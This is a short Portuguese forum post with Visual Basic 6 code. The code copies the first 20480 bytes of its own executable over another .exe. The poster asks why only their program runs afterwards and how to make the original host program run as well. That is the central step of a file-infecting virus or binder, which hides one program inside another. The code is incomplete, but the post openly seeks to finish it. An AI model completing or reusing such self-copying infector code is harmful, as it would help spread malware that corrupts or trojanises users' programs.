Boa noite achei esse código e modifiquei para o jeito que realmente o que preciso mais aqui quando ele se copia para o outro exe só quem e executado e o meu programa ..eu preciso que os dois seja executado.... alguém poderia me ajudar e me falar onde ta o erro???

Const MySize As Integer = 20480

Private Sub Command1_Click()
Dim myarray() As Byte
Dim destFile As String

destFile = "O exe De destino"

Open App.Path & "" & App.EXEName & ".exe" For Binary Access Read As #1
     ReDim myarray(MySize)
Get #1, 1, myarray

Close #1

Open destFile For Binary Access Write As #1
     Put #1, , myarray
     Put #1, , MySize

Close #1

End Sub